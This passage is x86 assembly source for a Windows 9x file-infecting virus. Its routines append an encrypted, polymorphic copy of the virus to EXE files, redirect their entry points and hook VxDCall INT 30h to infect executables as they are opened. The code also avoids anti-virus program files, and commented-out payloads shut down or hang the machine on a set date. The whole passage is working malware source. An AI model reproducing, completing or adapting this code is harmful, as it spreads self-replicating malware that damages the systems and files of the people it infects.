861;Compute the new file size
862 call esi + GetFileSize, [esi + hHostFile], NULL
863 add eax, [oamf_dwAddBytes] ;Compute New File Size
864
865;Map the file
866 call esi + CreateFileMappingA, [esi + hHostFile], NULL, PAGE_READWRITE, \
867 0, eax, NULL
868 test eax, eax ;File Mapping Created
869 jz Error_OpenAndMapFile_Mapping ;No
870 mov [esi + hMappedFile], eax ;Yes, Save Handle
871
872;Map View of the File
873 call esi + MapViewOfFile, eax, FILE_MAP_ALL_ACCESS, 0, 0, 0
874 mov [esi + lpHostFile], eax ;Have to save Mapped Address
875 test eax, eax ;File Mapped Successfully ?
876 jnz End_OpenAndMapFile ;Yes
877
878;Error Occured, Close Files, and Restore Attributes
879 call esi + CloseHandle, [esi + hMappedFile] ;Failed, Close File Mapping
880
881Error_OpenAndMapFile_Mapping:
882 call esi + CloseHandle, [esi + hHostFile] ;Failed, Close the File
883
884Error_OpenAndMapFile_Create:
885 call esi + SetFileAttributesA, oamf_szFileName, [esi + dwFileAttributes]
886 xor eax, eax ;Error, Return 0
887
888End_OpenAndMapFile:
889 ret
890OpenAndMapFile ENDP
891;+----------------------------------------------------------------------------+
892;| +------------------------------------------------------------------------+ |
893;| | | |
894;| | UnmapAndCloseFile | |
895;| | | |
896;| +------------------------------------------------------------------------+ |
897;+----------------------------------------------------------------------------+
898; Description
899; -> Unmaps the open file and closes the handles associated with it. It
900; also restores the original file attributes and file time.
901;
902; Arguments
903; -> uacf_szFilename: Name of the file that is being unmapped. This is
904; used only to restore the file attributes
905;
906; Return Value:
907; -> None
908;
909; Registers Destroyed
910; -> All
911;_____________________
912UnmapAndCloseFile PROC uacf_szFilename:DWORD
913;Unmap File
914 @DELTA esi
915 call esi + UnmapViewOfFile, [esi + lpHostFile] ;Unmap the File
916 call esi + CloseHandle, [esi + hMappedFile] ;Close File Mapping
917
918;Restore File Time
919 lea eax, [esi + ftLastAccessTime]
920 lea ebx, [esi + ftLastWriteTime]
921 call esi + SetFileTime, [esi + hHostFile], NULL, eax, ebx
922
923;Close File
924 call esi + CloseHandle, [esi + hHostFile] ;Close the File
925
926;Restore File Attributes
927 call esi + SetFileAttributesA, uacf_szFilename, [esi + dwFileAttributes]
928
929 ret
930UnmapAndCloseFile ENDP
931;+----------------------------------------------------------------------------+
932;| +------------------------------------------------------------------------+ |
933;| | | |
934;| | InfectFile | |
935;| | | |
936;| +------------------------------------------------------------------------+ |
937;+----------------------------------------------------------------------------+
938; Description
939; -> Infects the host file with our virus
940;
941; Arguments
942; -> DWORD if_szFileName: Address of the file to be infected
943; -> DWORD if_dwIncFileSize: Size by which the section is 2B increased (Bytes)
944; -> DWORD if_dwIncSecSize: Size by which the file is 2B increased (Bytes)
945;
946; Return Value:
947; -> EAX: 1 if Infected, 0 on Error
948;
949; Registers Destroyed
950; -> All
951;__________________________________
952InfectFile PROC if_szFileName:DWORD
953 LOCAL lpdwLastSection:DWORD, \
954 dwVirusBegin:DWORD, \
955 dwNewEntryRVA:DWORD, \
956 dwJumpBytes:DWORD, \
957 dwIOH:DWORD, \
958 dwIncFileSize:DWORD, \
959 dwIncSecSize:DWORD, \
960 dwDeltaOffset:DWORD
961
962 @DELTA esi
963 mov [dwDeltaOffset], esi ;Save Delta Offset
964
965;Check if the file can be infected, or not
966 call CanFileBeInfected, if_szFileName
967 test eax, eax ;Can it be infected
968 jz End_InfectFile ;No
969 mov [dwIncFileSize], ebx ;Save Increase in File Size
970 mov [dwIncSecSize], ecx ;Save Increase in Section Size
971
972;Map Host File into Memory
973 call OpenAndMapFile, if_szFileName, dwIncFileSize
974 test eax, eax ;File Opened and Mapped Successfully
975 jz End_InfectFile ;No, Return Code = 0
976 mov esi, [dwDeltaOffset]
977 mov [esi + lpHostFile], eax ;Save staring address of file
978
979;Get File Headers
980 call GetFileHeaders, eax ;This should not fail, since its already...
981 mov [dwIOH], ebx ;...called once in CanFileBeInfected
982 mov [lpdwLastSection], ecx
983
984;Calculate the Starting of Virus Code in File
985 mov eax, (IMAGE_SECTION_HEADER [ecx]).ISH_PointerToRawData
986 add eax, (IMAGE_SECTION_HEADER [ecx]).ISH_SizeOfRawData
987 mov [dwVirusBegin], eax ;RVA of New Entry Point in File
988
989;Calculate RVA of New Entry Point
990 mov ebx, [lpdwLastSection]
991 sub eax, (IMAGE_SECTION_HEADER [ebx]).ISH_PointerToRawData
992 add eax, (IMAGE_SECTION_HEADER [ebx]).ISH_VirtualAddress
993 mov [dwNewEntryRVA], eax
994
995;Calculate Bytes of JMP Instruction
996 add eax, offset ReturnToHost - offset StartOfVirusCode
997 mov ebx, [dwIOH]
998 sub eax, (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint
999 add eax, 4
1000 not eax
1001 mov [dwJumpBytes], eax ;Save Bytes
1002
1003;Append the Virus to the host
1004 mov esi, offset StartOfVirusCode ;Copy Virus from Here...
1005 add esi, [dwDeltaOffset] ;since StartOfVirusCode will vary after infection
1006 mov edi, [dwVirusBegin] ;...to here
1007 mov ebx, [dwDeltaOffset]
1008 add edi, [ebx + lpHostFile] ;true location to copy to
1009 mov ecx, VIRUS_SIZE
1010 rep movsb
1011
1012;Write New Jump Instruction in File
1013 ;Offset in File where operand to JMP instruction is to be put
1014 mov ebx, offset ReturnToHost + 1 - offset StartOfVirusCode
1015 add ebx, [dwVirusBegin] ;True offset in file
1016 mov esi, [dwDeltaOffset]
1017 add ebx, [esi + lpHostFile] ;Correct offset in Memory Mapped File
1018 mov ecx, [dwJumpBytes] ;Get operand for jmp instruction
1019 mov [ebx], ecx ;Put it in the file
1020
1021;Update the Last Section Header
1022 mov eax, [lpdwLastSection]
1023 mov ebx, [dwIncSecSize]
1024 mov ecx, [dwIncFileSize]
1025 add (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData, ecx
1026 add (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx
1027 or (IMAGE_SECTION_HEADER [eax]).ISH_Characteristics, IMAGE_READ_WRITE_EXECUTE
1028
1029;Fix VirtualSize (if Required) for files like TRACERT.EXE)
1030 mov ebx, (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData
1031 cmp (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx ;Virtual Size Wrong
1032 jge VirtualSizeFine ;No, Fix Not Required
1033 mov (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx ;Yes, Fix it
1034
1035VirtualSizeFine:
1036
1037;Update the PE Header (Image Size)
1038 mov ebx, [dwIOH] ;Address of Image Optional Header
1039 add (IMAGE_OPTIONAL_HEADER [ebx]).IOH_SizeOfImage, ecx
1040
1041;Update the PE Header (Entry RVA)
1042 mov ecx, [dwNewEntryRVA] ;Get New Entry RVA
1043 mov (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint, ecx
1044
1045;Update the Win32VersionValue field. This is used as a Virus Signature
1046 mov (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE
1047
1048;Encrypt the file, and Close it
1049 mov ebx, [dwDeltaOffset]
1050 mov edi, [ebx + lpHostFile] ;Staring address of Host File
1051 add edi, [dwVirusBegin] ;Address of virus in file
1052 call EncryptVirus
1053
1054 call UnmapAndCloseFile, if_szFileName
1055 xor eax, eax
1056 inc eax ;All OK, Return Code 1
1057
1058End_InfectFile:
1059 ret
1060InfectFile ENDP
1061;+----------------------------------------------------------------------------+
1062;| +------------------------------------------------------------------------+ |
1063;| | | |
1064;| | EncryptVirus | |
1065;| | | |
1066;| +------------------------------------------------------------------------+ |
1067;+----------------------------------------------------------------------------+
1068; Description
1069; -> Encrypts the Virus Code with a random byte, and mutates the decryptor,
1070; making the virus Encrypted & Polymorphic
1071;
1072; Arguments
1073; -> EDI: Starting address of Virus in Memory Mapped File
1074;
1075; Return Value:
1076; -> None
1077;
1078; Registers Destroyed
1079; -> All except EDI
1080;________________
1081EncryptVirus PROC
1082 push edi ;Save starting address of virus code
1083
1084;Get Encryption Key, to be used for encrypting/decrypting
1085 ;@DELTA esi
1086 ;call esi + GetTickCount ;Get random number in EAX (AL)
1087
1088 in al, 40h ;Get random encryption key
1089 IF DEBUG
1090 xor al, al ;Don't encrypt in Debug Mode
1091 ENDIF
1092
1093 mov ecx, ENCRYPTED_SIZE
1094 add edi, LOADER_SIZE ;Don't enrypt the loader !!
1095EncryptByte:
1096 xor byte ptr [edi], al ;al = Encryption Key
1097 inc edi
1098 loop EncryptByte
1099
1100 pop edi ;restore starting address of virus code
1101
1102;Update the Encryption Key in the decryptor
1103 mov byte ptr [edi + EncryptionKey - StartOfVirusCode], al
1104
1105;Mutate the Decryptor
1106 call MutateDecryptor
1107
1108 ret
1109EncryptVirus ENDP
1110;+----------------------------------------------------------------------------+
1111;| +------------------------------------------------------------------------+ |
1112;| | | |
1113;| | StringLength | |
1114;| | | |
1115;| +------------------------------------------------------------------------+ |
1116;+----------------------------------------------------------------------------+
1117; Description
1118; -> Returns the length of the string
1119;
1120; Arguments
1121; -> DWORD sl_lpszString: Address of the string
1122;
1123; Return Value:
1124; -> EAX: Length of the string
1125;
1126; Registers Destroyed
1127; -> EAX, ECX, EDI
1128;____________________________________
1129StringLength PROC sl_lpszString:DWORD
1130 mov edi, sl_lpszString ;string whose length is required
1131 xor ecx, ecx
1132 dec ecx ;ecx = -1, search till infinity
1133 xor eax, eax ;search for NULL character
1134 repne scasb ;Find the terminating NULL
1135 not ecx
1136 dec ecx ;length of string
1137 mov eax, ecx ;return length of string
1138 ret
1139StringLength ENDP
1140;****************************************************************************
1141; TimerProc
1142;****************************************************************************
1143; Description
1144; -> This function is called when the Time-out value for the Timer Expires.
1145;
1146; Arguments
1147; -> tp_hwnd: Handle of the window
1148; tp_uMsg: WM_TIMER
1149; tp_idEvent: ID of the timer
1150; tp_dwTimer: Value of GetTickCount()
1151;
1152; Return Value:
1153; -> None
1154;
1155; Registers Destroyed
1156; -> All
1157;_____________________________________________________________________________
1158;TimerProc PROC tp_hwnd:DWORD, tp_uMsg:DWORD, tp_idEvent:DWORD, tp_dwTime:DWORD
1159; LOCAL dwDeltaOffset:DWORD, \
1160; dwFileNumber:DWORD, \
1161; stTime:SYSTEMTIME
1162; pushad ;must save, since this is a CALLBACK fn
1163; @DELTA esi
1164; mov [dwDeltaOffset], esi
1165;
1166;Check if Date is 8th December
1167; lea eax, stTime
1168; call esi + GetLocalTime, eax
1169; cmp stTime.ST_wMonth, 12 ;is Month = December
1170; jne Not_8_December ;No
1171; cmp stTime.ST_wDay, 8 ;Yes. Is Day = 8th
1172; jne Not_8_December ;No
1173;
1174;Deliever Payload since date is 8th December
1175; call PayLoad
1176;
1177;Not_8_December:
1178;
1179;Lock System if Windows has been running for a long time
1180; ;cmp tp_dwTime, MAX_RUN_TIME ;Is Windows Up-time > 2 hours
1181; ;jle NoLockWindows ;No
1182; ;DB 0F0h ;Yes, use F00F Bug to hang / lock System
1183; ;DB 0Fh
1184; ;DB 0C7h
1185; ;DB 0C8h
1186;
1187;NoLockWindows:
1188;
1189;
1190;End_TimerElapsed:
1191; popad ;restore state
1192; ret
1193;TimerProc ENDP
1194;+----------------------------------------------------------------------------+
1195;| +------------------------------------------------------------------------+ |
1196;| | | |
1197;| | CanFileBeInfected | |
1198;| | | |
1199;| +------------------------------------------------------------------------+ |
1200;+----------------------------------------------------------------------------+
1201; Description
1202; -> This function checks if a file can be infected or not. It checks the
1203; following:
1204; 1. File must be an EXE
1205; 2. File must be a PE
1206; 3. It must not be a DLL
1207; 4. File must not be infected by our virus
1208; 5. It must not be a Winzip Self-Extractor File
1209;
1210; If all the above conditions are met, this function returns the size, in
1211; bytes, by which the file and section must be increased when the file is
1212; infected.
1213;
1214; Arguments
1215; -> DWORD cfbe_szFileName: ASCIIZ Name of the file to check
1216;
1217; Return Value:
1218; -> EAX: 1 if the file can be infected, 0 Otherwise
1219; -> EBX: Bytes by which the file size must be increased if it is infected
1220; -> ECX: Bytes by which the last section size must be increased if it is infected
1221;
1222; Registers Destroyed
1223; -> All
1224;___________________________________________
1225CanFileBeInfected PROC cfbe_szFileName:DWORD
1226;Map File, without increasing the File Size
1227 call OpenAndMapFile, cfbe_szFileName, 0
1228 test eax, eax ;File Opened & Mapped Successfully
1229 jz End_CanFileBeInfected ;No, Return with Error Code = 0
1230
1231;Get File Headers
1232 call GetFileHeaders, eax
1233 test eax, eax ;Successfully retreived file headers
1234 je End_CanFileBeInfected ;No, probably not a PE file
1235
1236;Check if file is infected. We use the Win32VersionValue for storing our signature
1237 cmp (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE
1238 jz Error_CanFileBeInfected ;File is already infected
1239
1240;Check if file is a DLL
1241 test (IMAGE_FILE_HEADER [eax]).IFH_Characteristics, IMAGE_FILE_DLL
1242 jnz Error_CanFileBeInfected ;Yes
1243
1244;Check if last section is sharable
1245 ;mov edx, (IMAGE_SECTION_HEADER [ecx]).ISH_Characteristics
1246 ;and edx, IMAGE_SCN_MEM_SHARED ;Is Section Sharable
1247 ;jnz Error_CanFileBeInfected ;Yes, don't infect
1248
1249;Don't infect Winzip Self-Extractor Files.
1250 ;The last section of this file has the name _winzip_. Note that Winzip
1251 ;Self-Extrator Personal Edition Files will still be infected, since they
1252 ;don't have this section
1253 cmp dword ptr (IMAGE_SECTION_HEADER [ecx]).ISH_Name, "niw_" ;"_win" ?
1254 je Error_CanFileBeInfected ;Yes, dont infect
1255
1256;OK, File can be infected, Great !!, ;-)
1257 mov eax, ebx ;Image Optional Header
1258 mov ebx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_FileAlignment
1259 mov ecx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_SectionAlignment
1260
1261;Calculate Increase in Section size
1262 ;INC_SEC_SIZE = [(VIRUS_SIZE - 1 + SECTION_ALIGN) / SECTION_ALIGN] * SECTION_ALIGN
1263 mov eax, VIRUS_SIZE - 1
1264 add eax, ecx ;Add Section Alignment
1265 xor edx, edx ;We need to divide only EAX
1266 div ecx ;Divide by SECTION_ALIGN
1267 mul ecx ;Multiply by SECTION_ALIGN
1268 push eax ;Save Increase in Section Size
1269
1270;Calculate Increase in File Size
1271 ;INC_FILE_SIZE = (INC_SEC_SIZE - 1 + FILE_ALIGN) / FILE_ALIGN] * FILE_ALIGN
1272 ;mov eax, VIRUS_SIZE;**NEW LINE
1273 ;dec eax ;INC_SEC_SIZE - 1
1274 mov eax, VIRUS_SIZE - 1
1275 add eax, ebx ;Add File Alignment, FILE_ALIGN
1276 div ebx ;Divide by FILE_ALIGN
1277 mul ebx ;Multiply by FILE_ALIGN
1278 push eax ;Save Increase in File Size
1279
1280;Close the file, and return relevant values
1281 call UnmapAndCloseFile, cfbe_szFileName
1282 pop ebx ;Get Increase in File Size
1283 pop ecx ;Get Increase in Section Size
1284 xor eax, eax
1285 inc eax ;Return Code 1
1286 jmp End_CanFileBeInfected
1287
1288Error_CanFileBeInfected:
1289 call UnmapAndCloseFile, cfbe_szFileName
1290 xor eax, eax ;Return Code 0
1291
1292End_CanFileBeInfected:
1293 ret
1294CanFileBeInfected ENDP
1295;+----------------------------------------------------------------------------+
1296;| +------------------------------------------------------------------------+ |
1297;| | | |
1298;| | PayLoad | |
1299;| | | |
1300;| +------------------------------------------------------------------------+ |
1301;+----------------------------------------------------------------------------+
1302; Description
1303; -> This function is called on the 8th of December. It delievers the Payload
1304; of the virus.
1305;
1306; Arguments
1307; -> None.
1308;
1309; Return Value:
1310; -> None.
1311;
1312; Registers Destroyed
1313; -> All
1314;___________
1315;PayLoad PROC
1316; @DELTA esi
1317; ;call ExitWindowsEx, EWX_FORCE OR EWX_SHUTDOWN, NULL
1318; call esi + ExitWindowsEx, EWX_SHUTDOWN, NULL
1319; ret
1320;PayLoad ENDP
1321;+----------------------------------------------------------------------------+
1322;| +------------------------------------------------------------------------+ |
1323;| | | |
1324;| | CanMachineBeInfected | |
1325;| | | |
1326;| +------------------------------------------------------------------------+ |
1327;+----------------------------------------------------------------------------+
1328; Description
1329; -> This function is called to check if the virus should infect this machine
1330; or not. This is used, so that the virus doesn't infect My Machine !!
1331;
1332; Arguments
1333; -> None.
1334;
1335; Return Value:
1336; -> EAX: 0 -> machine should not be infected, else it can be infected
1337;
1338; Registers Destroyed
1339; -> All
1340;________________________
1341CanMachineBeInfected PROC
1342 @DELTA esi
1343
1344;Check if the "No Infect" file exists on the current machine
1345 mov eax, esi
1346 add eax, offset szNoInfectFileName
1347 call esi + CreateFileA, eax, GENERIC_READ, FILE_SHARE_READ, NULL, \
1348 OPEN_EXISTING, NULL, NULL
1349 cmp eax, INVALID_HANDLE_VALUE ;File Opened ?
1350 je End_CanMachineBeInfected ;No, so machine can be infected
1351
1352;Close the file, and return 0, since its probably my machine
1353 call esi + CloseHandle, eax
1354 xor eax, eax ;return 0, so that machine is not infected
1355
1356End_CanMachineBeInfected:
1357 ret
1358CanMachineBeInfected ENDP
1359;+----------------------------------------------------------------------------+
1360;| +------------------------------------------------------------------------+ |
1361;| | | |
1362;| | RelocateVirus | |
1363;| | | |
1364;| +------------------------------------------------------------------------+ |
1365;+----------------------------------------------------------------------------+
1366; Description
1367; -> This function allocates memory in the Shared area and copies the Virus
1368; to that area.
1369;
1370; Arguments
1371; -> None.
1372;
1373; Return Value:
1374; -> EAX: Base address of Memory where the Virus was copied, or NULL if an
1375; error occured.
1376;
1377; Registers Destroyed
1378; -> All
1379;_________________
1380RelocateVirus PROC
1381 LOCAL dwDeltaOffset:DWORD, \
1382 dwMemoryRegion:DWORD
1383
1384 @DELTA esi
1385 mov [dwDeltaOffset], esi
1386
1387;Reserve Shared Memory
1388 @DELTA esi
1389 call esi + VxDCall, PageReserve, PR_SHARED, VIRUS_SIZE_PAGES, \
1390 PC_WRITEABLE OR PC_USER
1391 cmp eax, INVALID_HANDLE_VALUE ;Memory Allocate Successfully?
1392 je Error_RelocateVirus ;No
1393 cmp eax, SHARED_MEMORY ;Shared memory Allocated?
1394 jb Error_RelocateVirus ;No
1395
1396;Save Address of Region
1397 mov [dwMemoryRegion], eax
1398
1399;Commit Shared Memory
1400 shr eax, 0Ch ;Page Number
1401 mov esi, [dwDeltaOffset]
1402 call esi + VxDCall, PageCommit, eax, VIRUS_SIZE_PAGES, PD_ZEROINIT, 0, \
1403 PC_WRITEABLE OR PC_USER OR PC_PRESENT OR PC_FIXED
1404 or eax,eax
1405 je Error_RelocateVirus
1406
1407;Copy Virus to Newly Allocate Memory
1408 mov esi, dwDeltaOffset
1409 add esi, offset StartOfVirusCode ;Start Copying From Here
1410 mov edi, [dwMemoryRegion] ;Copy Here
1411 mov ecx, VIRUS_SIZE ;Size to Copy
1412 rep movsb
1413
1414 mov eax, [dwMemoryRegion] ;Return Region of Shared Memory Allocated
1415 jmp End_RelocateVirus
1416
1417Error_RelocateVirus:
1418 xor eax, eax ;Return 0, since an error occured
1419
1420End_RelocateVirus:
1421 ret
1422RelocateVirus ENDP
1423;+----------------------------------------------------------------------------+
1424;| +------------------------------------------------------------------------+ |
1425;| | | |
1426;| | InstallHookProcedure | |
1427;| | | |
1428;| +------------------------------------------------------------------------+ |
1429;+----------------------------------------------------------------------------+
1430; Description
1431; -> This function installs a hook procedure to monitor VxDCalls
1432;
1433; Arguments
1434; -> None.
1435;
1436; Return Value:
1437; -> None.
1438;
1439; Registers Destroyed
1440; -> All
1441;________________________
1442InstallHookProcedure PROC
1443 LOCAL dwDeltaOffset:DWORD
1444
1445 @DELTA esi
1446 mov [dwDeltaOffset], esi
1447
1448;Modify the JMP instruction, so that it points to the address of OldInt30
1449 mov eax, esi
1450 add eax, offset OldInt30Address ;Bytes to modify
1451 mov ebx, esi
1452 add ebx, offset OldInt30 ;Address of OldInt30
1453 mov [eax], ebx ;Modify JMP instruction
1454
1455;The disassembly of the VxDCall function looks like this:
1456;
1457;8B 44 24 04 MOV EAX, DWORD PTR [ESP+04h]
1458;8F 04 24 POP DWORD PTR [ESP]
1459;2E FF 1D XX XX XX XX CALL FWORD PTR CS:[XXXXXXXX]
1460;
1461;The last instuction points to an INT 30h instruction that is used by
1462;VxDCall to jump to Ring 0. So, to hook VxDCall's, we must modify the
1463;address pointed to by the CALL, i.e. XXXXXX, so that it points to our
1464;code. Before that, we should save the current address, so that we can
1465;call the old INT 30h
1466
1467;Trace through VxDCall, until we come to the XXXXXXXX bytes
1468 add esi, offset VxDCall
1469 mov esi, [esi] ;First byte of VxDCall function
1470 mov ecx, 50 ;Scan upto 50 bytes
1471TraceVxDCall:
1472 lodsb ;Get current byte
1473 cmp al, 2Eh ;First byte of CALL instruction?
1474 jne TraceVxDCall_NextByte ;No, check next byte
1475 cmp word ptr [esi], 1DFFh ;Next two bytes of instruction?
1476 je TraceVxDCall_AddressFound ;Yes
1477TraceVxDCall_NextByte:
1478 loop TraceVxDCall ;Continue Checking...
1479
1480TraceVxDCall_AddressFound:
1481;Save Current INT 30h Address
1482 cli ;Cannot afford to be interrupted
1483 lodsw ;Skip over FF and 1D opcodes of CALL
1484 lodsd ;Pointer to INT 30h instruction, XXXXXXXX
1485 mov esi, eax ;Copy Bytes From Here
1486 mov edi, [dwDeltaOffset]
1487 add edi, offset OldInt30 ;To Here
1488 mov ecx, 6 ;Save 6 bytes, FWORD
1489 rep movsb
1490
1491;Install New INT 30h Handler
1492 mov edi, eax ;Pointer to INT 30h instruction
1493 mov eax, [dwDeltaOffset]
1494 add eax, offset VxDInt30Handler ;Copy This Address
1495 stosd ;Save 4 bytes ...
1496 mov ax, cs
1497 stosw ;and 2 bytes (since FWORD instruction)
1498 sti ;Handler installed, enable interrupts
1499 ret
1500InstallHookProcedure ENDP
1501;+----------------------------------------------------------------------------+
1502;| +------------------------------------------------------------------------+ |
1503;| | | |
1504;| | VxDInt30Handler | |
1505;| | | |
1506;| +------------------------------------------------------------------------+ |
1507;+----------------------------------------------------------------------------+
1508; Description
1509; -> This is the hook procedure that monitors VxDCalls (INT 30h)
1510;
1511; Arguments
1512; -> None.
1513;
1514; Return Value:
1515; -> None.
1516;
1517; Registers Destroyed
1518; -> All
1519;___________________
1520VxDInt30Handler PROC
1521 pushad ;Save all, since this is an interrupt handler
1522
1523;Make sure that we don't process our own calls
1524 @OFFSET ebp, VxDCall_Busy
1525 cmp byte ptr [ebp], TRUE ;Is Virus busy
1526 je Exit_VxDInt30Handler ;Yes, prevent re-entrancy
1527
1528;Process only INT 21h Services
1529 cmp eax, VWIN32_Int21Dispatch ;VWIN32 VxD int 21h?
1530 jne Exit_VxDInt30Handler
1531
1532 mov eax,dword ptr [esp+0000002Ch] ;Get 21h Service
1533 cmp ax, RESIDENCY_CHECK_SERVICE ;Check for Residency?
1534 je Residency_Check ;Yes
1535 cmp ax, LFN_OPEN_FILE_EXTENDED ;LFN Open Extended
1536 je Extended_File_Open
1537
1538 jmp Exit_VxDInt30Handler ;None, go to default handler
1539
1540Residency_Check:
1541;Virus Residency Check
1542 popad ;Restore stack and other regs
1543 mov esi, RESIDENCY_SUCCESS ;Tell caller that we're resident
1544 jmp Original_VxDInt30Handler ;Go to original handler
1545
1546Extended_File_Open:
1547;Prevent Re-entrancy
1548 @OFFSET eax, VxDCall_Busy
1549 mov byte ptr [eax], TRUE
1550
1551 push esi
1552 call IsFilenameOK, esi
1553 pop esi
1554 or eax, eax
1555 jz File_Not_Executable
1556
1557;Do Stuff
1558 ;call OutputFileName
1559 call InfectFile, esi
1560
1561File_Not_Executable:
1562;Finished Processing
1563 @OFFSET eax, VxDCall_Busy
1564 mov byte ptr [eax], FALSE
1565
1566Exit_VxDInt30Handler:
1567 popad ;Restore, before transfering control
1568
1569Original_VxDInt30Handler:
1570;The following bytes will be translated to JMP FWORD PTR CS:[00000000]
1571 DB 2Eh, 0FFh, 2Dh ;JMP FWORD PTR CS:[XXXXXXXX]
1572OldInt30Address: ;The following 4 bytes will be replaced by the
1573 DB 4 DUP (0) ;address of OldInt30 in memory.
1574 ;ret ;Not required, since we're jumping out
1575VxDInt30Handler ENDP
1576;+----------------------------------------------------------------------------+
1577;| +------------------------------------------------------------------------+ |
1578;| | | |
1579;| | IsFilenameOK | |
1580;| | | |
1581;| +------------------------------------------------------------------------+ |
1582;+----------------------------------------------------------------------------+
1583; Description
1584; -> This function checks if the filename is OK for infection or not. If the
1585; filename meets any of the folling criteria, this function returns a
1586; failure.
1587; * Filename is less than 5 characters. This is checked, because
1588; we are infecting only .EXE files, so the minimum length of such
1589; a file is 5 characters
1590; * The filename must end in ".EXE" (or ".XYZ" for DEBUG mode). The
1591; comparison is case insensitive
1592; * The filename must NOT consist of any of the following pairs of
1593; characters, viz., "AV", "AN", "F-". This is done to prevent
1594; infection of Anti-Virus program files.
1595;
1596; Arguments
1597; -> ife_szFilename: Address of the buffer where the filename is stored
1598;
1599; Return Value:
1600; -> EAX: 1 if the filename is OK, 0 otherwise
1601;
1602; Registers Destroyed
1603; -> All
1604;___________________________________
1605IsFilenameOK PROC ife_szFilename
1606 LOCAL szExtention[4]:BYTE
1607
1608;Check Filename Length
1609 mov esi, ife_szFilename
1610 call StringLength, esi ;Get length of filename
1611 cmp eax, 4 ;Is File name less than 5 characters (.EXE)
1612 jl Error_IsFilenameOk ;Yes, Don't infect
1613 push eax ;Save Length of Filename
1614
1615;Get File Extention
1616 mov eax, [esi + eax - 4] ;File Extention (including ".")
1617 lea edx, szExtention ;Get Address of Extention Buffer
1618 mov [edx], eax ;Store extention in buffer
1619
1620;Convert to upper case
1621 mov ecx, 3 ;3 characters to be converted
1622ToUpperCase:
1623 inc edx ;Don't have to check "." for upper case
1624 cmp byte ptr [edx], "a"
1625 jl NextCharacter
1626 cmp byte ptr [edx], "z"
1627 jg NextCharacter
1628 sub byte ptr [edx], "a" - "A" ;Convert to upper case
1629NextCharacter:
1630 loop ToUpperCase
1631
1632 pop ecx ;Get Length of Filename
1633
1634;Check the Extention
1635 IF DEBUG
1636 cmp dword ptr [edx - 3], "ZYX." ;Is Extention ".XYZ" (Debug Only)
1637 ELSE
1638 ERR "Release Mode, Executables will be Infected !!!" ;Comment to assemble
1639 cmp dword ptr [edx - 3], "EXE." ;Is Extention ".XYZ" (Release Only)
1640 ENDIF
1641 jne Error_IsFilenameOk ;No, Extention doesn't match
1642
1643;Check Anti-Virus Program Files
1644 dec ecx ;Since we're checking 2 char, last char not reqd
1645CheckAntiVirusFiles:
1646 cmp word ptr [esi], "VA" ;"AV"; for NAV (Norton), TBAV (ThunderByte)
1647 je Error_IsFilenameOk
1648 cmp word ptr [esi], "va"
1649 je Error_IsFilenameOk
1650 cmp word ptr [esi], "-F" ;"F-"; for F-PROT
1651 je Error_IsFilenameOk
1652 cmp word ptr [esi], "NA" ;"AN", for SCAN (McAfee), CLEAN
1653 je Error_IsFilenameOk
1654 cmp word ptr [esi], "na"
1655 je Error_IsFilenameOk
1656 inc esi ;Next Character
1657 loop CheckAntiVirusFiles ;Check All
1658
1659 xor eax, eax
1660 inc eax
1661 jmp End_IsFilenameOk
1662
1663Error_IsFilenameOk:
1664 xor eax, eax
1665
1666End_IsFilenameOk:
1667 ret
1668IsFilenameOK ENDP
1669;+----------------------------------------------------------------------------+
1670;| +------------------------------------------------------------------------+ |
1671;| | | |
1672;| | | |
1673;| | | |
1674;| +------------------------------------------------------------------------+ |
1675;+----------------------------------------------------------------------------+
1676OutputFileName PROC
1677 LOCAL dwFilename:DWORD, \
1678 dwDeltaOffset:DWORD
1679
1680 mov [dwFilename], esi
1681 @DELTA esi
1682 mov [dwDeltaOffset], esi
1683
1684;Create File to write into
1685 mov edx, [dwDeltaOffset]
1686 add edx, offset szOutputFile
1687 mov esi, 0BFF77ADFh
1688 call esi, edx, GENERIC_READ OR GENERIC_WRITE, FILE_SHARE_READ, \
1689 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
1690 cmp eax, INVALID_HANDLE_VALUE
1691 je End_OutputFileName
1692
1693;Go to end of file
1694 push eax ;Save Handle
1695 mov esi, 0BFF7713Fh ;SetFilePointer
1696 call esi, eax, 0, 0, 2
1697 pop eax ;Restore Handle
1698
1699;Get Length of FileName
1700 push eax ;Save Handle
1701 mov edx, [dwFilename]
1702 mov esi, 0BFF773ADh ;lstrlen
1703 call esi, edx
1704 mov ebx, eax ;length of filename
1705 pop eax ;Restore Handle
1706
1707;Write Into File
1708 push eax ;save handle
1709 push eax ;Create Buffer, used for number of bytes written
1710 lea ecx, [esp - 4]
1711 mov edx, [dwFilename]
1712 mov esi,0BFF76FD5h ;WriteFile
1713 call esi, eax, edx, ebx, ecx, 0
1714 pop eax ;Remove Buffer
1715 pop eax ;restore handle
1716
1717;Close File
1718 mov esi, 0BFF7E064h
1719 call esi, eax
1720
1721End_OutputFileName:
1722 ret
1723OutputFileName ENDP
1724;+----------------------------------------------------------------------------+
1725;| +------------------------------------------------------------------------+ |
1726;| | | |
1727;| | IsVirusActive | |
1728;| | | |
1729;| +------------------------------------------------------------------------+ |
1730;+----------------------------------------------------------------------------+
1731; Description
1732; -> This function returns 1 if the virus is active in memory, else returns
1733; 0. This function also saves the address of the VxDCall API.
1734;
1735; Arguments
1736; -> None.
1737;
1738; Return Value:
1739; -> EAX: 1 if the Virus is Resident. 0 otherwise
1740;
1741; Registers Destroyed
1742; -> All
1743;_________________
1744IsVirusActive PROC
1745 call GetAddressOfKernelAPI, 0 ;Get Address Of VxDCall API
1746 test eax, eax ;Found Address ?
1747 jz End_IsVirusActive ;No, Return 0
1748
1749;Save address of VxDCall API
1750 @OFFSET ebx, VxDCall
1751 mov [ebx], eax ;Save Address
1752
1753 ;Check if Virus is Already Resident
1754 @CALL_INT21h RESIDENCY_CHECK_SERVICE
